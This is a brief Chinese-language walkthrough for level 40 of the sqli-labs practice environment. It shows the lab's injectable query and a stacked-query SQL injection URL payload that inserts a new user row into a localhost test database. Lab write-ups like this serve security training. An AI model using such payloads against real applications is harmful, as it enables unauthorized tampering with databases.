标签:
本关的sql语句为SELECT * FROM users WHERE id=(‘$id‘) LIMIT 0,1
我们根据sql语句构造以下的payload:
http://127.0.0.1/sqli-labs/Less-40/index.php?id=1%27);%20insert%20into%20users(id,username,password)%20values%20(%27109%27,%27hello%27,%27hello%27)%23
Sqli-labs less 40
原文地址:http://www.cnblogs.com/lcamry/p/5762866.html